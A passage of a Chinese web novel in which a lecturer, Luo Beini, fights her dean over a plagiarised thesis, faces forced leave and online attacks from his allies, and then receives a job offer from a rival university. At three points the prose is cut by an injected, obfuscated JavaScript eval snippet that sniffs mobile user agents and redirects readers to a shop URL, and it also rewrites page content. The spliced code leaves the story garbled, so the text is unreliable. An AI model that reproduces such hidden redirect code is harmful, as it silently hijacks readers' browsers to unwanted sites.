那手的温度,让罗贝妮的颤抖稍微平息了一点。 “罗老师,你现在看到了吗?” 罗贝妮抬起头。眼睛红肿,但眼神还在。 “学术圈不是真理至上,不是公平公正,是人情、利益、权力编织起来的一张网;张凌烽是网里的一个点,任国新是另一个点;他们互相支撑,互相保护。” “你动了一个点,整个网都会动起来。” 罗贝妮沉默了。 过了很久,她问: “那我还能赢吗?” 徐寄遥看着她。 “赢的定义是什么?” 罗贝妮愣了一下。 “是让他承认剽窃?是让他道歉?是让他被处分?” 徐寄遥点点头。 “这些都有可能实现,也有可能实现不了,但有一件事,你已经做到了。” “什么事?” “让所有人看到这张网。” / 3月28日,晚上。 张凌烽还是没有回应。 微博上静悄悄的,像一只把头埋进沙子里的鸵鸟。 但应宽在电脑前发现了别的东西。 “寄遥,你看这个。” 徐寄遥走过去。 屏幕上是一个网页,和解大师APP的专家专栏页面。 张凌烽的头像挂在最显眼的位置,像一面旗帜。旁边写着:特约专家·张凌烽。 下面是他的专栏文章列表。长长的一串,从去年排到今年。 应宽指着最新的一篇。 “你看这个标题。” 徐寄遥凑近看。 《从“师生冲突”看当代年轻人的心理困境》 发布日期:3月26日。 也就是两天前。 徐寄遥点进去,快速扫了一遍。 文章写得很有水平。从心理学角度分析师生冲突的成因,引用了几个案例,最后得出结论:师生冲突的本质是代际认知差异,需要双方互相理解、互相包容。 文章里没有提罗贝妮的名字。但明眼人一看就知道,这是在回应什么。 应宽冷笑了一声。 “他不敢在微博上说话,但在专栏里没闲着,把自己的问题包装成社会现象。” 俞彩虹走过来,看了一眼屏幕。她的眼神很冷。 “先制造问题,再解决问题;先让人受害,再让人付费。” 她指着张凌烽的头像。 “他是他们的特约专家,他越权威,这个APP就越可信;他越干净,他们的生意就越好做。” / 3月29日,下午。 应宽又有了新发现。 他把屏幕转向大家,脸上的表情很复杂。像是找到了证据,又像是看到了恶心的事。 “张凌烽的专栏里,又更新了一篇,专门写学术维权的。” 标题是: 《当学术维权成为热点——关于学术争议的几点思考》 发布时间:3月28日。 文章里,张凌烽以资深学者的身份,分析了当前学术维权的几个问题: “一、网络维权容易放大情绪,偏离事实。” “二、部分学生缺乏对学术研究的敬畏。” “三、学术争议应该回归学术圈内部解决。” 最后一段,他写道: “真正的学术,需要冷静、理性、耐心。而不是在网络上炒作、博眼球、煽动情绪。希望年轻学者能够明白这个道理。” 吴小糖看完,脸涨得通红。那红不是害羞,是愤怒。 “他这是贼喊捉贼!” 俞彩虹冷笑。那冷笑里,有一种看透了的清醒。 “这就是话语权,他站在高处,说什么都是权威观点;你站在低处,说什么都是情绪发泄。” 罗贝妮盯着那篇文章,没有说话。 但她的眼睛里,有什么东西在变化。 / 3月30日,凌晨。 罗贝妮躺在床上,盯着天花板。 睡不着。 脑子里一直在转。任国新的电话,张凌烽的专栏,网上那些评论。 一条一条,像放电影一样,来回地转,来回地转。 她爬起来,走到客厅。 徐寄遥还在电脑前。屏幕的蓝光打在她脸上,把她的轮廓勾勒得很清晰。 “睡不着?” 罗贝妮点点头,在她旁边坐下。 “寄遥,我问你一个问题。” “嗯。” “你说,他为什么要在和解大师上写那些东西?” 徐寄遥想了想。那想的几秒钟里,她的眼神没有离开屏幕。 “因为那是他的地盘,在微博上,他是被质疑的对象;在和解大师上,他是权威专家,他需要那个身份来支撑自己。” 罗贝妮沉默了几秒。 “那、我要不要回应?” 徐寄遥转过头,看着她。 “你觉得呢?” 罗贝妮想了想。这一次她想得比之前久。 “不回应,让他写,他写得越多,破绽越多。” 徐寄遥嘴角微微上扬。那是她今天第一次露出笑容。 “那就等着。” / 3月31日,下午。 应宽把最近一周的所有信息整理成了一张大表。 时间、事件、平台、关键信息,一条一条列得清清楚楚。不是简单的列表,而是像一张作战地图,把敌我双方的每一个动向都标了出来。 2020年2月:罗贝妮提交第一篇博士论文 2020年3月:张凌烽否定论文,说意义不大 2020年4月:罗贝妮被迫更换选题 2024年10月:张凌烽剽窃论文发表在国际顶级期刊 2024年12月:张凌烽凭借这篇论文评上院长 2024年12月:罗贝妮发现被剽窃 2025年1月:罗贝妮找张凌烽沟通,开始被霸凌 2025年2月-3月初:张凌烽安排连续培训,制造旷工 2025年3月18日:罗贝妮向学校五个部门提交实名举报信 2025年3月18日-21日:举报信发出后,连续三天无任何回应 2025年3月21日:罗贝妮发布第一篇小红书长文,公开举报 2025年3月24日:张凌烽首次微博回应 2025年3月25日:罗贝妮发布第二篇长文,质疑四年研究 2025年3月26日:张凌烽在和解大师专栏发文 2025年3月27日:副校长任国新与罗贝妮通电话 2025年3月28日: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239925|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张凌烽再发专栏,谈学术维权 2025年3月29日-30日:无回应 他把这张表投影到白墙上。 “你们看,张凌烽的节奏很清晰,在微博上沉默,在和解大师上发声;两边分开,互不干扰。” 俞彩虹点点头。 “这说明他怕了,怕在微博上说错话,怕被抓住把柄;但在和解大师上,他是安全的,那是他的地盘,没有人质疑他。” 罗贝妮盯着那张表,看了很久。 然后她开口。声音很轻,但每一个字都很清晰。 “俞老师,你之前说的祛魅,我现在真的明白了。” 俞彩虹看着她。 “这些东西,我以前觉得很高。院长、专家、权威,都是我需要仰望的。但现在看清楚了,也不过如此。” 徐寄遥走过来。 “那你打算怎么办?” 罗贝妮想了想。这一次她想了很久。 “继续发,让他继续写,让他把所有的底牌都亮出来。” / 3月31日,晚上九点。 罗贝妮发布了第五篇长文。 标题很简单,只有一行字: 《张凌烽院长,和解大师APP上的文章,是写给谁看的?》 正文里,她把应宽整理的那张时间线图完整地放了上去。 从2020年她提交第一篇博士论文开始,到2025年3月31日今天为止。五年时间,十几件大事,每一件都有时间,有证据,有出处。 最后,她写了一句话: “我把举报信发给学校的时候,我以为会有人回应,我等了三天,没有;所以我只能把真相发到网上,让所有人看到。” “张凌烽院长,您写这些文章的时候,在想什么?” 帖子发出去之后,评论区一片沸腾。 不是之前那种各执一词的沸腾,而是一种终于看清真相的沸腾。 “举报信发了三天没回应?学校在干什么?” “所以她是走投无路才上网的?” “这张时间线太清楚了!” / 凌晨一点,罗贝妮放下手机。 她站起来,走到窗边。 窗外是城市的夜色,万家灯火早已熄灭,只剩下零星的几盏路灯,孤零零地亮着。偶尔有一辆车驶过,车灯划过夜色,很快又消失在黑暗里。 徐寄遥走过来,站在她旁边。 “还不睡?” 罗贝妮摇摇头。 “睡不着。” 她顿了顿。 “寄遥,你说,他明天会怎么回应?” 徐寄遥想了想。 “不会回应,他不敢回应这张时间线。” “那他会怎么做?” “不知道,但他肯定不会就这么算了。” 罗贝妮沉默了几秒。 “我不怕。” 徐寄遥转过头,看着她。 罗贝妮的眼睛里,有一种之前没有的东西。 不是愤怒,不是恐惧,而是一种平静。那种平静,像是终于看清了对手之后,知道自己该怎么做了。 “我不怕他回应,也不怕他不回应;他做什么,我就回应什么。” 徐寄遥点点头。 “那就好。” 夜风吹过,窗外的树叶沙沙作响。 罗贝妮看着窗外,忽然想起五年前,自己刚考上博士的时候。那时候她以为学术圈是神圣的,是追求真理的地方。 现在她知道了,学术圈也是江湖,也有刀光剑影,也有利益纷争。 但没关系。 她已经不是那个等着别人回应的罗贝妮了。 19. 罗贝妮的困境(九):不对等的对抗 2025年4月1日,上午九点。 罗贝妮的手机响了。 她看了一眼来电显示,脸色瞬间变了。那种变化很明显,像是有人在她脸上泼了一盆冷水。 人事处。 这已经是这个号码第三次打来了。 前两次她没接,第一次是3月28日,第二次是3月30日。她看着那个号码在屏幕上跳动,心跳就会加速,手心就会出汗,但她始终没有勇气按下接听键。 她知道那是催命符。 但这一次,她知道躲不过去了。 徐寄遥坐在对面,看着她。那目光很平静,平静得像一面镜子。 “接吧。” 罗贝妮深吸一口气。那口气吸得很深,像是要把整个肺都填满。然后她按下免提。 “喂?” “罗贝妮老师,我是人事处秦老师。” 声音很公式化,没有任何温度。像是从一台机器里发出来的。 “院里建议您从今天起暂时休假,通知已经发到您邮箱了,麻烦您查收一下。” 罗贝妮愣了一下。 她想过很多种可能,批评、警告、处分,但没想到是“休假”。 “休假?什么理由?” “您的状态不太好,影响教学。” “我的状态很好,”罗贝妮的声音有点急,那种急不是愤怒,而是慌张,“我上周还在备课,我的教案还在电脑里,我可以继续上课,学生给我发的邮件我也回了,他们没有人说我状态不好。” 电话那头沉默了一秒。 “罗老师,这是院里的决定,”那个声音变得更冷了,“您最近的情况,大家都有目共睹,暂停教学工作,对您、对学生、对学校,都是最好的安排。” 罗贝妮的手握紧了手机。手机壳发出轻微的嘎吱声。 “是因为我在网上发的东西吗?” 对方没有回答。 “秦老师,您直接告诉我,是不是因为我举报了张凌烽?” 电话那头又是一阵沉默。那几秒钟,长得像几分钟。 然后,那个声音说: “罗老师,我只是传达院里的决定,具体情况,您可以问你们院长。” 电话挂断了。 / 罗贝妮握着手机,一动不动。 手机屏幕还亮着,显示着“通话结束”四个字。她就那么盯着那四个字,盯了很久。 吴小糖凑过来,小心翼翼地问。那声音很轻,像是怕惊到什么。 “罗老师,他们……他们让您休假?” 罗贝妮点点头。 “那您休吗?” 罗贝妮抬起头,看着徐寄遥。 徐寄遥没有说话,只是看着她。那眼神里没有答案,只有一种安静的等待。 那种等待不是催促,不是催促她做决定,而是告诉她:不管你做什么决定,我都接受。 罗贝妮沉默了很久。 然后她开口。 “不休。” 她的声音很轻,但很稳。像是石头落进水里,沉到底的那种稳。 “我不休,我没有病,我状态很好,他们让我休假,是因为不想让我上课,不想让我出现在学校里;我休了,就等于承认自己有问题。” 她站起来。动作很慢,但很坚定。 “我不休。” / 4月2日,罗贝妮又发了一篇长文。 标题是:《我没有病,我不休假》。 正文里,她把人事处的通知截图贴了出来。那张截图她看了很多遍,每一个字都刻在脑子里。她把那段电话录音也放了上去,没有任何剪辑,从第一个字到最后一个字。 “他们说我的状态不好,影响教学,但我的课从来都是满的,学生评价从来都是优;他们说这是‘为你好’,但我知道,这是让我闭嘴。” “我不会休的,我会写论文,会继续维权,除非他们把我开除。” 帖子发出去之后,评论区很快就热闹起来。 有人支持: “支持罗老师!不能让他们得逞!” “休假就是变相停职,千万别休!” 但也有人说: “你一个讲师,跟院长对着干,能有什么好下场?” “别犟了,休假就休假呗,休息一下也好。” “你这样闹下去,以后还想不想在学术界混了?” 最后这条评论,点赞的人最多。 吴小糖看得直皱眉,嘴里嘟囔着: “这些人怎么这样?明明是张凌烽欺负人,怎么反过来劝罗老师认怂?” 俞彩虹靠在沙发上,慢悠悠地说。那语气不是在解释,而是在陈述一个事实。 “张凌烽是院长,是权威,罗老师只是个讲师,在大多数人眼里,权威天然可信;罗老师说什么,都是‘情绪化’‘偏激’‘钻牛角尖’。” 她顿了顿。 “而且,张凌烽开始动用自己的资源了。” / 4月3日,应宽在电脑前皱着眉头。 那眉头皱得很紧,像是遇到了什么棘手的事。 “寄遥,你看这个。” 徐寄遥走过去。 屏幕上是一个微博页面,一个加V认证的账号发了一条长文。账号名是“张凌烽学术后援会”,头像是张凌烽的照片,看起来很正式。 文章标题是: 《关于罗贝妮老师指控的几点澄清》。 作者自称是张凌烽的学生,现在某985高校任教。认证信息上写着“某高校教授”。 “张教授是我读博期间的导师。他为人正直,治学严谨,对学生从来都是倾囊相授。说他会剽窃学生的论文,我第一个不信。” “罗贝妮的情况,我有所了解。她的论文确实是在张老师的指导下完成的。学术观点的传承,怎么能说是剽窃?如果这也算剽窃,那天下还有没有师生关系了?” 评论区一片附和。 “张教授的学生出来说话了!” “这才是真相吧?” “罗贝妮闹得太过了。” 那些评论密密麻麻,一眼望不到头。 吴小糖看得血压飙升。她的脸涨得通红,拳头握得紧紧的。 “这、这是他的学生!肯定帮他说话啊!” 应宽继续往下翻。他的手指在鼠标上轻轻点击,每点一下,就翻出一条新的。 “不止这一个,你看。” 另一个加V账号,认证是“某高校教授”,发了一条微博: “我和张凌烽是大学同学,认识三十年了。他这个人,学术上向来严谨,不可能做那种事。建议罗贝妮老师冷静下来,好好沟通。” 还有第三条,第四条,第五条。 有自称同行的,有自称朋友的,有自称学生的。每一个人都在说同样的话:张凌烽是好人,罗贝妮太过分。 那些账号,每一个都有加V认证,每一个都有几千几万粉丝。他们的声音汇聚在一起,像一堵墙,把罗贝妮的声音死死挡住。 俞彩虹看着屏幕,冷笑了一声。那笑声里没有笑意,只有一种看透了的冷。 “学术圈的人情网络,张凌烽在这个圈子里待了三十年,门生故旧遍布全国,他一句话,有的是人站出来替他说话。” 她看着罗贝妮。 “你呢?你有多少人能替你说话?” 罗贝妮沉默了。 她没有。 她只有几个同样被压榨过的同学,偷偷发私信支持她,但不敢公开站队。 那些私信的开头都是“罗老师,我支持你,但请别透露我的名字”。 她只有代吵团队这四个人,陪着她熬过一个又一个深夜。 这就是不对等。 张凌烽有整个学术圈做后盾。她只有自己。 / 4月5日,事情变得更糟了。 应宽发现,和解大师APP的论坛评论区里,开始出现攻击罗贝妮的言论。 那些言论不是零星几条,而是成片出现的。 同一个ID,在不同的帖子下发同样的内容。内容都差不多: “那个罗贝妮,就是蹭热度吧?” “听说她还想勾引导师,没成功才闹的。” “代吵APP也不是什么好东西,帮这种人维权,能是什么好鸟?” 吴小糖气得直跺脚。木地板被她踩得咚咚响。 “他们怎么连我们也攻击?!” 俞彩虹倒是一点都不意外。 她的表情没有任何变化,像是在预料之中。 “当然要攻击,罗贝妮是代吵APP帮的,攻击她就是攻击代吵;和解大师和代吵本来就是竞争对手,趁这个机会踩我们一脚,太正常了。” 罗贝妮的脸色更白了。 那种白,是血一下子褪干净的那种白。 “对不起,是我连累了你们。” 徐寄遥摇摇头。动作很轻,但很坚定。 “别说这种话。” / 4月7日,罗贝妮发了一篇新的长文。 标题是:《我是一个讲师,我没有学术圈人脉,但我有证据》。 正文里,她把所有证据又梳理了一遍。 论文草稿的时间戳、邮件记录的截图、录音的文字稿。一条一条,清清楚楚,像是一份学术论文的附录。 最后,她写道: “张凌烽有他的学生替他说话,有他的朋友替他说话,有他的同行替他说话。我没有。我只有这些证据。” “证据不会骗人。证据不会因为是讲师还是院长就改变。证据就是证据。” 帖子发出去之后,评论区有人支持,但也有人说: “证据有什么用?人家一个院长,还搞不定这点事?” “你太天真了,学术圈不是看证据,是看人脉。” “别闹了,认了吧。” 最后那条评论“认了吧”,被点了很多赞。 罗贝妮盯着那句“认了吧”,盯了很久。 她的手又开始抖。 那种抖不是害怕,而是一种说不清的复杂情绪。 但她没有哭。 / 4月8日,晚上十一点。 工作室里安静得能听见电脑主机运转的声音。 吴小糖和俞彩虹都睡了。 吴小糖睡在沙发上,羽绒被裹得严严实实。俞彩虹睡在杂物房的折叠床上,呼吸平稳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239926|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应宽还在电脑前,盯着数据。 罗贝妮坐在沙发上,盯着手机。屏幕亮了又暗,暗了又亮。她已经这样坐了两个小时。 徐寄遥走过来,在她旁边坐下。 “看什么?” 罗贝妮把手机递给她。 屏幕上是一封邮件。 发件人是她硕士期间的同学,名字她认识,但已经很久没联系了。内容很短,只有几行字: “贝妮,我一直关注你的事。我支持你,但我不能公开说。我现在的单位,和启元大学有合作。” 后面的话没说完,但意思很清楚。 徐寄遥把手机还给她。 “你说他怕什么?” 罗贝妮苦笑。那苦笑里有一种说不出的东西,像是无奈,又像是理解。 “怕被牵连,怕丢工作,怕在这个圈子里混不下去。” 她顿了顿。 “其实我能理解,我自己也怕过。” 徐寄遥没有说话。 罗贝妮继续说: “寄遥,你知道吗,这几天给我发私信的人很多,有人说加油,有人说支持你,但是他们都不敢公开;只有几个同样被导师压榨过的同学,敢多说几句。” “有一个跟我说,她当年也是被导师抢了论文,不敢声张,最后换了方向;还有一个朋友,他被导师压了三年,差点抑郁,最后退了学。” 她的声音有点抖。 “他们都跟我说,你比我们勇敢,可是我自己知道,我不是勇敢,我是走投无路。” / 4月9日,凌晨一点。 罗贝妮还在看那些私信。 手机屏幕的亮度调到最低,但那些字还是一个个跳进眼睛里。 有一条新消息弹出来。 是一个陌生账号,头像是空的,ID是一串乱码。内容只有一句话: “罗老师,谢谢你,我也是被导师压榨的学生,一直不敢说,看到你站出来,我觉得我也许可以试试。” 罗贝妮盯着那条消息,盯了很久。 然后她站起来,走到徐寄遥面前。 “寄遥。” 徐寄遥看着她。 “我想发一条新帖。” “发什么?” 罗贝妮想了想。那几秒钟里,她的眼神在变化,从犹豫,到坚定。 “发那些私信,账号和头像都会打码,我想让更多人看到,不是只有我一个人。” 徐寄遥看着她,嘴角微微上扬。那是一个很淡的笑,淡得几乎看不见。 “好。” / 4月9日,上午十点。 罗贝妮发布了第六篇长文。 标题是:《我不是一个人》。 正文里,她把那些匿名私信截图贴了出来。 一条一条,没有任何修改。 那些私信有的长有的短,有的字迹潦草有的写得很认真。但都有一个共同点,每个字都像是从心窝子掏出来的。 “罗老师,谢谢你,我也是被导师压榨的学生,一直不敢说……看到你站出来,我觉得我也许可以试试。” “我也是,我的导师抢了我两篇论文,我不敢说,现在看你这样,我想说。” “加油!我们都在看着你。” “你赢了,我们就有希望。” 最后,罗贝妮写道: “我不是一个人在战斗。有很多人,和我一样。他们不敢站出来,但他们看着我。” “如果我赢了,他们也能赢。” 帖子发出去之后,评论区彻底炸了。 不再是之前那种支持或质疑的吵,而是一种完全不同的声音。 无数人涌进来,留下自己的故事。 “我导师也抢过我的论文,我忍了五年。” “我师姐被导师逼得退学了。” “我也是,我不敢说,但我在看。” “罗老师,你是我们的希望。” 那些声音,像潮水一样涌来。 淹没了一切质疑,淹没了一切攻击。 / 4月10日,晚上。 罗贝妮坐在沙发上,一条一条翻着那些留言。 她的手已经不抖了。 吴小糖凑过来,看着屏幕,眼眶红了。她被那些留言感动到了。 “罗老师,你看,很多人支持你。” 罗贝妮点点头。 “是啊。” 她抬起头,看着工作室里的几个人。 应宽还在电脑前,屏幕上是一行行数据。他的背影很专注,像是永远不知疲倦。 俞彩虹靠在沙发上在看手机,嘴角有一丝笑意。那笑意很淡,但很真实。 徐寄遥站在窗边,看着外面的夜色。 她站起来,走到徐寄遥旁边。 “寄遥。” 徐寄遥转过头。 “谢谢你们。” 徐寄遥笑着摇头:“嗐,瞎客气。” 窗外,一盏一盏的路灯,亮得很稳。 远处有车驶过,车灯划过夜色,很快又消失在黑暗里。 罗贝妮忽然觉得,那些路灯,就像代吵团队的这几个人。 不管多晚,不管多黑,他们都在。 20. 罗贝妮的困境(十):意外的offer 2025年4月11日,下午两点。 罗贝妮回了自己家。 这是她半个月来第一次回去。 衣服该换了,冰箱里的东西该扔了,床也该收拾一下。代吵工作室的折叠床虽然能睡,但终究不是长久的办法。 钥匙插进锁孔的时候,她愣了一下。那声音很熟悉,熟悉得像另一个时代的记忆。 推开门,一股沉闷的空气扑面而来。 她站在门口,看着这个小小的出租屋。 书桌上堆着没看完的论文,书架上的书落了一层灰,窗台上那盆绿萝已经蔫了,叶子垂下来,发黄发干。 她走过去,给绿萝浇了水。水渗进土里,发出轻微的滋滋声。 然后她在书桌前坐下,打开电脑。 邮箱提示音响起。 一封新邮件。 发件人:南方大学社会发展学院。 邮件标题: 《关于邀请罗贝妮老师加入我院的函》。 她愣住了。 / 罗贝妮盯着那封邮件,盯了很久。 屏幕上那几个字像是有重量,压在她的眼睛里,让她无法移开视线。 南方大学? 她当然知道南方大学。 那是国内社会学领域的顶尖学府,这些年风头正劲,学术排名已经把启元大学甩在了后面。 她的博士论文参考文献里,有一半都出自南方大学的学者。 她参加过他们的学术会议,在台下仰着头听台上那些大牛发言,连提问都不敢。 但她从来没有想过,有一天会收到南方大学的邮件。 更没想到的是,邮件里写着“邀请您加入我院”。 她颤抖着手,点开了邮件。 正文很正式,格式严谨得像一份公文。但内容每一个字都让她的心跳加速。 “罗贝妮老师,您好。 我院近期关注到您在学术维权事件中的表现,对您的学术能力和勇气印象深刻。经研究,诚挚邀请您加入南方大学社会发展学院,担任讲师一职。 如您有意,请与我院联系。 南方大学社会发展学院院长 周齐远” 罗贝妮看着那个落款,整个人都懵了。 周齐远。 国内社会学界的顶级学者,周齐远学派的开创者。 她读过他所有的论文,引用过他的观点,在某次会议上远远地看过他一眼。 那时候周齐远站在台上,接受全场掌声。她坐在角落里,觉得自己离那个世界很远很远。 她的眼泪流下来。 / 她立刻拿起手机,拨通了徐寄遥的电话。 电话响了两声就接了。 “寄遥!”罗贝妮的声音在发抖,那种抖不是害怕,是震惊,是难以置信,“我竟然收到南方大学社会发展学院的offer!” 电话那头沉默了一秒。 然后徐寄遥说:“我知道。” 罗贝妮愣住了。 “你……知道?” “嗯。” “你怎么知道?” 徐寄遥的声音很平静,平静得像在说一件平常的事。 “是俞老师帮你联系的。” / 二十分钟后,罗贝妮冲进工作室。 她的脸红扑扑的,眼睛亮得吓人,手里还握着手机,像是怕那封邮件会突然消失。 “俞老师!”她一进门就喊,“这到底是怎么回事?!” 俞彩虹正坐在沙发上喝茶,看到她这副样子,忍不住笑了。 “先坐下,慢慢说。” 罗贝妮坐下,但根本坐不住。 俞彩虹放下茶杯,看着她。 “是寄遥的主意。” 她看了一眼徐寄遥。 徐寄遥站在窗边,阳光从她身后照进来,把她的轮廓勾勒得很柔和。 “你继续留在启元大学,是死胡同,”徐寄遥的声音从窗边传来,很平静,但每一个字都很清晰,“张凌烽的学术地位太稳固了,他不是一个人,是一张网,你动不了他。” “就算你把事情闹大了,最多也就是他停职调查几年,然后重新出山或着换个大学继续当教授,你呢?你在启元大学还能待下去吗?就算待下去,以后还能评职称吗?还能拿项目吗?” 罗贝妮沉默了。 她知道徐寄遥说得对。 这些天她一直在想这个问题。赢了之后呢?赢了之后怎么办? 徐寄遥转过身,看着她。 “所以我想,你需要换个环境。” / 俞彩虹接过话头。 “我以前在学术界待了十七年,这个圈子是什么样子,我太清楚了。” 她的声音很轻,但有一种说不出的重量。 “张凌烽的研究方向,国内有两个最强的大学,一个是启元,一个是南方,两个学校,两个学派,互相竞争,互相看不顺眼。” 她顿了顿。 “南方大学的院长叫周齐远,你可能不知道,他跟张凌烽是大学同学,同一个宿舍出来的。” 罗贝妮愣住了。 “同学?同宿舍?” “是啊,”俞彩虹点点头,“当年他们两个人一起从本科读到博士,一起毕业,一起进高校,刚开始的时候,水平差不多。” “但是后来,差距就出来了。” 她的声音变得有些远,像是在回忆什么。 “周齐远这个人,是做学问的,他踏踏实实做田野调查,一篇论文磨好几年,发出来就是经典;张凌烽不一样,他走的是上层路线,搞项目、拉关系、带学生,论文发得快,但没什么真东西。” “刚开始,张凌烽还能跟周齐远打个平手,十年下来,周齐远把南方大学社会学系带成了全国顶尖,张凌烽的启元大学……你很清楚了。” 罗贝妮听着,心跳越来越快。 “我听圈内人说,当年有两篇论文,同一主题,同一时期,周齐远和张凌烽都发了,张凌烽那篇发得早,抢了先机,但是周齐远那篇出来之后,直接把张凌烽的那篇比下去了,从那以后,张凌烽就再也没追上过。” 俞彩虹看着罗贝妮。 “所以,你明白周齐远为什么愿意接收你吗?” 罗贝妮想了想。 “因为……他觉得我的论文有学术价值?” 俞彩虹点点头。 “这是第一位的,你的那篇论文我看了,确实做得好,田野调查一年半,跑了三个村子,数据翔实,分析深入;这种研究,不是靠关系能磨出来的。” “张凌烽为什么剽窃你的论文?是因为他写不出这么好的东西了,他当了二十年领导,早就不会做研究了。” 罗贝妮愣住了。 俞彩虹继续说: “周齐远和张凌烽,一辈子都是竞争对手,把你招过去,也算是打了张凌烽的脸,不过这就是玩笑话了,如果周齐远不认可你的学术能力,他是不会要的。” 罗贝妮问: “俞老师,周教授……他真的是因为我的论文才要我的?” 俞彩虹笑了。那笑容里有种说不清的东西,像是欣慰,又像是感慨。 “寄遥让我以代吵的名义,给周齐远发了一封邮件,把你的情况详细说明了一下,论文、证据、时间线,都写得清清楚楚。” “周齐远当天就回复了,他说,‘这姑娘的论文我看过,确实好,张凌烽那篇,就是抄她的,能写出这种论文的人,我要定了。’” 罗贝妮的眼泪又流下来。 那些熬过的夜、跑过的路、写过的字,终于被人看见了。 俞彩虹伸出手,轻轻拍了拍她的手背。 “我当年淋过雨,知道淋雨是什么滋味。” 她的声音很轻,但每一个字都像是有重量。 “当年我被劝退的时候,没有人帮我,没有人给我发邮件,没有人给我打电话,没有人告诉我还有另一条路可以走,我就那么一个人,收拾东西,离开了学校。” 她顿了顿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应宽还在电脑前,不知道在忙什么,屏幕的光照在他脸上,把他的轮廓勾勒得很柔和。 俞彩虹靠在杂物房的折叠床上,默默看着手机。 罗贝妮和徐寄遥站在窗边,看着外面的夜色。 “寄遥。”罗贝妮轻声开口。 徐寄遥转过头,一开口就哽咽了。 “谢谢你,谢谢你们……” 徐寄遥眯着眼睛笑。 “都说别瞎客气了。” 罗贝妮继续说: “如果没有你们,我现在可能已经在那张离职表上签字了,一个人,灰溜溜地离开学校,没有人知道发生了什么。” “但你们让我没有签。” 徐寄遥看着她。 “是你自己没有签。” 罗贝妮愣了一下。 “是你不肯认输,是你坚持到现在,我们只是陪着你。” 罗贝妮沉默了几秒。 然后她笑了。 “谢谢。” / 罗贝妮忽然想起八年前,自己刚考上博士的时候。那时候她以为学术圈是神圣的,是追求真理的地方。 现在她知道,学术圈也是江湖。 但她也知道,这个江湖里,还有周齐远这样的人。 “寄遥。” “嗯?” “我会在南方大学好好干的,不是要证明什么,是因为我喜欢做研究。” 徐寄遥嘴角微微上扬。 “那就好。” 罗贝妮看着窗外,忽然觉得,那些路灯的光,好像比之前亮了一点。 21.罗贝妮的困境(十一):视频面试 2025年4月12日,早上七点半。 罗贝妮被一阵敲门声惊醒。 她睡在杂物房的折叠床上,迷迷糊糊地睁开眼。 “罗老师,醒了吗?” 是徐寄遥的声音。 罗贝妮一下子清醒了。她披上外套,推开门。 客厅里,四个人都在。 吴小糖歪在沙发上,还没完全醒。应宽已经坐在电脑前,屏幕上开着什么文档。俞彩虹端着茶杯,慢悠悠地喝着。 徐寄遥站在窗边,转过身看着她。 “周教授那边,同意了。” 罗贝妮愣住了。 “同意什么?” “视频面试,明天早上九点,三十分钟。” 罗贝妮站在原地,一动不动。 过了好几秒,她才反应过来。 “明天?早上九点?三十分钟?” 徐寄遥点点头。 “周教授亲自安排的,他想跟你聊聊。” / 罗贝妮的心跳开始加速。 周齐远。南方大学社会发展学院院长。国内社会学界的顶级学者。 她读过他所有的论文,引用过他的观点,在某次会议上远远地看过他一眼。 他要跟她视频面试。 她低头看了看自己,一件旧毛衣,一条睡裤,头发乱糟糟的,脸上还有枕头印。 “我得去买衣服。” 她的声音有点抖。 吴小糖从沙发上弹起来。 “买衣服?现在?” “对,现在,”罗贝妮已经开始翻包找手机,“我不能穿成这样见周教授。” 徐寄遥看着她,没有拦。 “下午去吧,商场十点开门。” 罗贝妮点点头,但她的手还在抖。 俞彩虹走过来,轻轻拍了拍她的肩。 “别紧张,周教授人很好。” 罗贝妮深吸一口气。 “我知道,但我还是很紧张。” / 上午十点,商场刚开门,罗贝妮和吴小糖就冲了进去。 吴小糖是最兴奋的那个,东张西望,恨不得把所有店都逛一遍。 罗贝妮被她拉着走,脑子里还是懵的。 “罗老师,这件好看!快去试!” “这件也好看!试试!” “这件这件!肯定适合你!” 试了六家店,换了十几套衣服,最后终于选定了一套。 驼色的毛呢西装外套,黑色长裤。简洁干练,又不失知性气质。 罗贝妮站在镜子前,看着里面那个人,有点恍惚。 她很久没有这样看自己了。 这半个月,她每天都穿着那件旧毛衣,窝在工作室里,盯着手机和电脑。 她忘了自己还可以穿成这样,还可以像一个正常的、有未来的成年人。 吴小糖在旁边拍手。 “好看!就这件!” 罗贝妮看着镜子里的自己,忽然觉得眼眶有点热。 但她没让眼泪流下来。 / 买完衣服,罗贝妮拉着吴小糖,非要给她买礼物。 “不行不行!”吴小糖拼命摆手,“我是来陪你买东西的,怎么能让你花钱!” 罗贝妮摇头。 “你陪了我这么久,今天让我表示一下,不然我心里过不去。” 吴小糖还要推辞,罗贝妮已经把她拉到柜台前。 “这件羽绒服怎么样?淡粉色的,配你。” 吴小糖看了一眼价签,倒吸一口凉气。 “太贵了!不行不行!” 罗贝妮已经让店员包起来了。 “给应宽买盒好茶叶,他天天熬夜,给俞老师买个羊绒披肩,她怕冷,给寄遥……” 她想了想。 